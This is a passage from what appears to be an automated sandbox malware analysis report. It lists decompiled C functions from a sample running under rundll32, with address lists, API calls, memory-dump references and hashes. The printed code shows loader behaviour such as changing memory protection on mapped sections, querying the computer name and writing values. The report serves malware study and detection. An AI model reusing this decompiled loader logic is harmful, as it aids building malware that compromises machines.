                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: Thread$Priority$AffinityCurrentMask
                    • String ID:
                    • API String ID: 1452675757-0
                    • Opcode ID: 33f92cf3c2bcb6fa328ab1ac420ebd71500957d944ddf721494769f283c3c5eb
                    • Instruction ID: 14af989a01b07ad466a792cb2718e3f6d19c90b34e29630ee76a45cc009dfcbb
                    • Opcode Fuzzy Hash: 33f92cf3c2bcb6fa328ab1ac420ebd71500957d944ddf721494769f283c3c5eb
                    • Instruction Fuzzy Hash: 0EE022316012512BA2223A28AC88F6F6B8CEF857393018329F820D32C0CB548D16A9E2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C95251 Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C95251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E02C96ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x2c9a348; // 0x278d5a8
				_t4 = _t24 + 0x2c9bc70; // 0x5429218
				_t5 = _t24 + 0x2c9bb60; // 0x4f0053
				_t26 = E02C933F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x2c9a348; // 0x278d5a8
						_t11 = _t32 + 0x2c9bcc8; // 0x5429270
						_t48 = _t11;
						_t12 = _t32 + 0x2c9bb60; // 0x4f0053
						_t52 = E02C95DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x2c9a348; // 0x278d5a8
							_t13 = _t35 + 0x2c9bcf0; // 0x30314549
							_t37 = E02C95157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x2c9a2fc - 6;
								if( *0x2c9a2fc <= 6) {
									_t42 =  *0x2c9a348; // 0x278d5a8
									_t15 = _t42 + 0x2c9bcd2; // 0x52384549
									E02C95157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x2c9a348; // 0x278d5a8
							_t17 = _t38 + 0x2c9bbb8; // 0x5429160
							_t18 = _t38 + 0x2c9bc1c; // 0x680043
							_t45 = E02C95B0E(_v8, 0x80000001, _t52, _t18, _t17);
							HeapFree( *0x2c9a2d8, 0, _t52);
						}
					}
					HeapFree( *0x2c9a2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E02C97220(_t54);
				}
				return _t45;
			}



















                    0x02c95251
                    0x02c95261
                    0x02c95264
                    0x02c9526b
                    0x02c9526d
                    0x02c9526d
                    0x02c95270
                    0x02c95275
                    0x02c9527c
                    0x02c95289
                    0x02c9528e
                    0x02c95292
                    0x02c952a0
                    0x02c952ae
                    0x02c952b2
                    0x02c95343
                    0x02c95343
                    0x02c952b8
                    0x02c952b8
                    0x02c952bd
                    0x02c952bd
                    0x02c952c4
                    0x02c952d0
                    0x02c952d2
                    0x02c952d4
                    0x02c952d6
                    0x02c952dd
                    0x02c952e8
                    0x02c952ef
                    0x02c952f1
                    0x02c952f8
                    0x02c952fa
                    0x02c95301
                    0x02c9530c
                    0x02c9530c
                    0x02c952f8
                    0x02c95311
                    0x02c95316
                    0x02c9531d
                    0x02c9533b
                    0x02c9533d
                    0x02c9533d
                    0x02c952d4
                    0x02c9534f
                    0x02c9534f
                    0x02c95351
                    0x02c95356
                    0x02c95358
                    0x02c95358
                    0x02c95363

                    APIs
                    • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05429218,00000000,?,74D0F710,00000000,74D0F730), ref: 02C952A0
                    • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05429160,?,00000000,30314549,00000014,004F0053,05429270), ref: 02C9533D
                    • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,02C968B6), ref: 02C9534F
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: FreeHeap
                    • String ID:
                    • API String ID: 3298025750-0
                    • Opcode ID: 61359064b1c98c50389bf86b33d73f0d451be1a451be74f441ed687ab49994de
                    • Instruction ID: 13c4f3c692b85f1ce711e2280d6f5a0535ad643f151e192e3b842490c9c66ae6
                    • Opcode Fuzzy Hash: 61359064b1c98c50389bf86b33d73f0d451be1a451be74f441ed687ab49994de
                    • Instruction Fuzzy Hash: BA31AD31940208BFDF12DB94DC8CEAA3BB9FB48B84F550165E608A7160DB709F55DB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C8170E Relevance: 4.6, APIs: 3, Instructions: 68memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 87%
                    			E02C8170E(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0x2c841c0;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}












                    0x02c81718
                    0x02c81725
                    0x02c8172b
                    0x02c81737
                    0x02c81747
                    0x02c81749
                    0x02c81751
                    0x02c817e5
                    0x02c817ec
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c81757
                    0x02c81757
                    0x02c81757
                    0x02c8175b
                    0x00000000
                    0x00000000
                    0x02c81767
                    0x02c8176b
                    0x02c8178f
                    0x02c81793
                    0x02c817a7
                    0x02c817a7
                    0x02c817ad
                    0x02c817bc
                    0x02c817c0
                    0x02c817c8
                    0x02c817c8
                    0x02c817d4
                    0x02c817d6
                    0x02c817df
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c817df
                    0x02c8179b
                    0x02c8179f
                    0x02c817a5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x02c817a5
                    0x02c81773
                    0x02c81777
                    0x02c81781
                    0x02c81779
                    0x02c81779
                    0x02c81779
                    0x00000000
                    0x02c81777
                    0x00000000

                    APIs
                    • VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02C81747
                    • VirtualProtect.KERNEL32(00000000,?,?,?), ref: 02C817BC
                    • GetLastError.KERNEL32 ref: 02C817C2
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: ProtectVirtual$ErrorLast
                    • String ID:
                    • API String ID: 1469625949-0
                    • Opcode ID: 4789147573348196fd2b66689713d62cc0ead46efc8e6967f2b57dd141c87e87
                    • Instruction ID: 416acbf537150a92f020f5431c9ace97f8a42a2a8a4ce25f02277eadb711a87f
                    • Opcode Fuzzy Hash: 4789147573348196fd2b66689713d62cc0ead46efc8e6967f2b57dd141c87e87
                    • Instruction Fuzzy Hash: BF212B71C0021AEFCB14DB95C881AA9F7F4FF44709F08996EE016A6840E774A666CF54
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9790B Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 75%
                    			E02C9790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E02C94358(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x2c9a348; // 0x278d5a8
						_t20 = _t68 + 0x2c9b270; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E02C94984(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}





















                    0x02c97911
                    0x02c97914
                    0x02c97924
                    0x02c9792d
                    0x02c97931
                    0x02c979ff
                    0x02c97a05
                    0x02c97a05
                    0x02c9794b
                    0x02c97950
                    0x02c97954
                    0x02c9795a
                    0x02c9795f
                    0x02c97966
                    0x02c97975
                    0x02c97975
                    0x02c97979
                    0x02c9797b
                    0x02c97987
                    0x02c97992
                    0x02c9799d
                    0x02c979a1
                    0x02c979ab
                    0x02c979af
                    0x02c979b1
                    0x02c979b6
                    0x02c979bd
                    0x02c979cd
                    0x02c979cd
                    0x02c979b6
                    0x02c979af
                    0x02c979cf
                    0x02c979d4
                    0x02c979d9
                    0x02c979d9
                    0x02c979dc
                    0x02c979e5
                    0x02c979ea
                    0x02c979ea
                    0x02c979ef
                    0x02c979f4
                    0x02c979f4
                    0x02c979ef
                    0x02c97979
                    0x02c979f6
                    0x02c979fc
                    0x00000000

                    APIs
                      • Part of subcall function 02C94358: SysAllocString.OLEAUT32(80000002), ref: 02C943B5
                      • Part of subcall function 02C94358: SysFreeString.OLEAUT32(00000000), ref: 02C9441B
                    • SysFreeString.OLEAUT32(?), ref: 02C979EA
                    • SysFreeString.OLEAUT32(02C94D42), ref: 02C979F4
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: String$Free$Alloc
                    • String ID:
                    • API String ID: 986138563-0
                    • Opcode ID: 5a69a19e3e4fff880d6eef5d9b287f96be435e5046f4850a08c1d53aba5dce66
                    • Instruction ID: d178fbb2d26ae490d4d98caac9bcb531026949a4658bb09d7ede5c9e5ab1fd1d
                    • Opcode Fuzzy Hash: 5a69a19e3e4fff880d6eef5d9b287f96be435e5046f4850a08c1d53aba5dce66
                    • Instruction Fuzzy Hash: DA3139B2500158AFCF21DF68C888CAFBB7AFFC97447154658F8199B210D7319D91DBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C820A4 Relevance: 3.1, APIs: 2, Instructions: 60stringthreadCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C820A4() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x2c841c4;
				if( *0x2c841ac > 5) {
					_t16 = _t15 + 0x2c85150;
				} else {
					_t16 = _t15 + 0x2c8527e;
				}
				E02C81E4A(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				_t24 = E02C813A7( &_v32,  &_v16,  *0x2c841c0 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x2c841b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E02C81598(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0x2c841b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x2c841b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E02C82164(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E02C8166A(_v28); // executed
				}
				ExitThread(_t25);
			}
















                    0x02c820aa
                    0x02c820bb
                    0x02c820c5
                    0x02c820bd
                    0x02c820bd
                    0x02c820bd
                    0x02c820cc
                    0x02c820d5
                    0x02c820da
                    0x02c820f1
                    0x02c820f8
                    0x02c82155
                    0x02c820fa
                    0x02c82100
                    0x02c82106
                    0x02c82114
                    0x02c82118
                    0x02c8211f
                    0x02c82121
                    0x02c82127
                    0x02c8212b
                    0x02c82133
                    0x02c82144
                    0x02c82135
                    0x02c8213b
                    0x02c8213b
                    0x02c82133
                    0x02c8214c
                    0x02c8214c
                    0x02c82157

                    APIs
                    Memory Dump Source
                    • Source File: 00000005.00000002.636873013.0000000002C80000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C80000, based on PE: true
                    • Associated: 00000005.00000002.636873013.0000000002C85000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c80000_rundll32.jbxd
                    Similarity
                    • API ID: ExitThreadlstrlen
                    • String ID:
                    • API String ID: 2636182767-0
                    • Opcode ID: f5582e7c2733fed0fa582528d48abc3ed5c829f2d5d06f53dd1405f69b21c78a
                    • Instruction ID: 07687c5c92c190c662e930a1fb500e31ac220ebd4b26f95ebcc22d746adf2b57
                    • Opcode Fuzzy Hash: f5582e7c2733fed0fa582528d48abc3ed5c829f2d5d06f53dd1405f69b21c78a
                    • Instruction Fuzzy Hash: C111D3718043859AD721EB60DC48EAB77EDAB44308F16C915FA05E3150E770EA05CB53
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C95157 Relevance: 3.0, APIs: 2, Instructions: 50memorytimeCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C95157(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16) {
				struct _FILETIME _v12;
				signed int _t11;
				void* _t16;
				short _t19;
				void* _t22;
				void* _t24;
				void* _t25;
				short* _t26;

				_t24 = __edx;
				_t25 = E02C96536(_t11, _a12);
				if(_t25 == 0) {
					_t22 = 8;
				} else {
					_t26 = _t25 + _a16 * 2;
					 *_t26 = 0; // executed
					_t16 = E02C9330E(__ecx, _a4, _a8, _t25); // executed
					_t22 = _t16;
					if(_t22 == 0) {
						GetSystemTimeAsFileTime( &_v12);
						_t19 = 0x5f;
						 *_t26 = _t19;
						_t22 = E02C97767(_t24, _a4, 0x80000001, _a8, _t25,  &_v12, 8);
					}
					HeapFree( *0x2c9a2d8, 0, _t25);
				}
				return _t22;
			}











                    0x02c95157
                    0x02c95168
                    0x02c9516c
                    0x02c951c7
                    0x02c9516e
                    0x02c95175
                    0x02c9517d
                    0x02c95180
                    0x02c95185
                    0x02c95189
                    0x02c9518f
                    0x02c95197
                    0x02c9519a
                    0x02c951b2
                    0x02c951b2
                    0x02c951bd
                    0x02c951bd
                    0x02c951ce

                    APIs
                      • Part of subcall function 02C96536: lstrlen.KERNEL32(?,00000000,05429DD8,00000000,02C96F0A,05429FFB,43175AC3,?,?,?,?,43175AC3,00000005,02C9A00C,4D283A53,?), ref: 02C9653D
                      • Part of subcall function 02C96536: mbstowcs.NTDLL ref: 02C96566
                      • Part of subcall function 02C96536: memset.NTDLL ref: 02C96578
                    • GetSystemTimeAsFileTime.KERNEL32(004F0053,004F0053,00000014,00000000,00000008,00000000,74CB5520,00000008,00000014,004F0053,05429270), ref: 02C9518F
                    • HeapFree.KERNEL32(00000000,00000000,004F0053,00000014,00000000,00000008,00000000,74CB5520,00000008,00000014,004F0053,05429270), ref: 02C951BD
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
                    • String ID:
                    • API String ID: 1500278894-0
                    • Opcode ID: 52d2f3ebc7c6766fedf300a2b307270bd73da83131015edefbf1991688024e71
                    • Instruction ID: 95ec87a37eca604c819160c61c52a37dbab099696e4af452d82c30de67fbcd4c
                    • Opcode Fuzzy Hash: 52d2f3ebc7c6766fedf300a2b307270bd73da83131015edefbf1991688024e71
                    • Instruction Fuzzy Hash: A001DF32600209BBDF225FA4DC48F9E3F79EF88740F50042AFA009A1A0DB72C924DB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C9472F Relevance: 3.0, APIs: 2, Instructions: 40COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E02C9472F(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E02C933DC(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E02C961DA(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}









                    0x02c94734
                    0x02c9473f
                    0x02c94741
                    0x02c94747
                    0x02c94749
                    0x02c9474e
                    0x02c94757
                    0x02c9475b
                    0x02c94764
                    0x02c94768
                    0x02c94777
                    0x02c9476a
                    0x02c9476b
                    0x02c94770
                    0x02c94770
                    0x02c94768
                    0x02c9475b
                    0x02c94780

                    APIs
                    • GetComputerNameExA.KERNEL32(00000003,00000000,02C93DCD,00000000,00000000,?,7491C740,02C93DCD), ref: 02C94747
                      • Part of subcall function 02C933DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C962F6), ref: 02C933E8
                    • GetComputerNameExA.KERNEL32(00000003,00000000,02C93DCD,02C93DCE,?,7491C740,02C93DCD), ref: 02C94764
                      • Part of subcall function 02C961DA: RtlFreeHeap.NTDLL(00000000,00000000,02C96383,00000000,?,00000000,00000000), ref: 02C961E6
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: ComputerHeapName$AllocateFree
                    • String ID:
                    • API String ID: 187446995-0
                    • Opcode ID: 48553390c8af4024141cd36e14c8d095a42dc51622ba7d90a37f2609e009ded6
                    • Instruction ID: 1c93e9e002a7aeabf2d02a9b00d1a4576de7ded66fde7ab34a8a0230b0c11c43
                    • Opcode Fuzzy Hash: 48553390c8af4024141cd36e14c8d095a42dc51622ba7d90a37f2609e009ded6
                    • Instruction Fuzzy Hash: CBF03036A00159AAEF21D6AA8C48EAF76BD9BC5A54F510059A904D3140EB71DB02DA70
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C95006 Relevance: 3.0, APIs: 2, Instructions: 26memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E02C95006(signed int __edx, intOrPtr _a4) {
				void* _t3;
				void* _t5;
				void* _t7;
				void* _t8;
				void* _t9;
				signed int _t10;

				_t10 = __edx;
				_t3 = HeapCreate(0, 0x400000, 0); // executed
				 *0x2c9a2d8 = _t3;
				if(_t3 == 0) {
					_t8 = 8;
					return _t8;
				}
				 *0x2c9a1c8 = GetTickCount();
				_t5 = E02C954D8(_a4);
				if(_t5 == 0) {
					_t5 = E02C9213E(_t9, _a4); // executed
					if(_t5 == 0) {
						if(E02C96392(_t9) != 0) {
							 *0x2c9a300 = 1; // executed
						}
						_t7 = E02C92523(_t10); // executed
						return _t7;
					}
				}
				return _t5;
			}









                    0x02c95006
                    0x02c9500f
                    0x02c95015
                    0x02c9501c
                    0x02c95020
                    0x00000000
                    0x02c95020
                    0x02c9502d
                    0x02c95032
                    0x02c95039
                    0x02c9503f
                    0x02c95046
                    0x02c9504f
                    0x02c95051
                    0x02c95051
                    0x02c9505b
                    0x00000000
                    0x02c9505b
                    0x02c95046
                    0x02c95060

                    APIs
                    • HeapCreate.KERNEL32(00000000,00400000,00000000,02C9107E,?), ref: 02C9500F
                    • GetTickCount.KERNEL32 ref: 02C95023
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: CountCreateHeapTick
                    • String ID:
                    • API String ID: 2177101570-0
                    • Opcode ID: 6837da0039070644aeddad57bb175b34c2462322399c28f3a6b6044285de95ca
                    • Instruction ID: c386b2d5d5d7183ce632f849a152df9e9b56ad133ab7618a2fb9bc8d24ce156b
                    • Opcode Fuzzy Hash: 6837da0039070644aeddad57bb175b34c2462322399c28f3a6b6044285de95ca
                    • Instruction Fuzzy Hash: 23F09230AC0701FADF632B71AC1C71935A57F84784FA05A29E946D40C0EB71D530AEE2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C92839 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                    Download Yara Rule
                    C-Code - Quality: 34%
                    			E02C92839(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x2c9a348; // 0x278d5a8
				_t4 = _t15 + 0x2c9b3e8; // 0x5428990
				_t20 = _t4;
				_t6 = _t15 + 0x2c9b174; // 0x650047
				_t17 = E02C9790B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E02C9661C(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}










                    0x02c92843
                    0x02c9284a
                    0x02c9284b
                    0x02c9284c
                    0x02c9284d
                    0x02c92853
                    0x02c92858
                    0x02c92858
                    0x02c92862
                    0x02c92874
                    0x02c9287b
                    0x02c928a9
                    0x02c9287d
                    0x02c9287f
                    0x02c92884
                    0x02c928a6
                    0x02c92886
                    0x02c92889
                    0x02c92890
                    0x02c92895
                    0x02c92897
                    0x02c92897
                    0x02c9289c
                    0x02c9289c
                    0x02c92884
                    0x02c928b0

                    APIs
                      • Part of subcall function 02C9790B: SysFreeString.OLEAUT32(?), ref: 02C979EA
                      • Part of subcall function 02C9661C: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,02C94B72,004F0053,00000000,?), ref: 02C96625
                      • Part of subcall function 02C9661C: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,02C94B72,004F0053,00000000,?), ref: 02C9664F
                      • Part of subcall function 02C9661C: memset.NTDLL ref: 02C96663
                    • SysFreeString.OLEAUT32(00000000), ref: 02C9289C
                    Memory Dump Source
                    • Source File: 00000005.00000002.637000855.0000000002C91000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C90000, based on PE: true
                    • Associated: 00000005.00000002.636978443.0000000002C90000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637050758.0000000002C99000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637067028.0000000002C9A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000005.00000002.637085714.0000000002C9C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_5_2_2c90000_rundll32.jbxd
                    Similarity
                    • API ID: FreeString$lstrlenmemcpymemset
                    • String ID:
                    • API String ID: 397948122-0
                    • Opcode ID: 3bb06e29077f3c4c8b35a224985251c2dc3577aa79b788d48918ae3912abca9c
                    • Instruction ID: abea9ff034ecc83c835f077b4542d4fe20354f3c5ba58c6cceea79419fd39a4a
                    • Opcode Fuzzy Hash: 3bb06e29077f3c4c8b35a224985251c2dc3577aa79b788d48918ae3912abca9c
                    • Instruction Fuzzy Hash: D101BC32900219BFDF01DFA9DC48AAEBBB9FF48744F010925EE01E3060E7719A21CB91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 02C81E4A Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
